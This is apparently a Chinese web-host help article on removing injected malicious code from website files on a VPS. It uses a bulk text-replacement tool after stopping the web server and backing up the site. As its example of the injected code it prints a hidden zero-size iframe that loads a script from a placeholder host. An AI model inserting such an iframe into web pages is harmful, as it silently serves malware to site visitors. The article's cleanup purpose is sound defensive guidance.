VPS/云主机若发现被挂马，请立即上服务器停止您的IIS或apache，为避免您对网站程序不熟悉导致误清理，请联系您的网站开发人员登录服务器处理。

清理方法（以下操作有风险,建议备份好数据并联系网站开发人员处理!）：

首先下载一个文本替换专家，http://download.west263.net/%E7%B3%BB%E7%BB%9F%E5%B7%A5%E5%85%B7/%E6%96%87%E6%9C%AC%E6%9B%BF%E6%8D%A2%E4%B8%93%E5%AE%B6.exe

在清理挂马之前，请先将您的站点备份，避免被误删除。打开文本替换专家，选择网站目录。

打开一个网页文件，找到被挂马代码，复制该段代码，比如类似这样的：

<iframe frameborder=0 src=http://www.xxx.com/1.js width=0 height=0 scrolling=no></iframe>

替换内容留空，文件格式填写*.*，勾选包含子文件夹，若之前没备份，也可以勾选“替换前备份文件*.rpk ”。

设置如图：

点击“开始替换”，就开始清理挂马代码了，操作时需要仔细，不要把正常代码给清理了。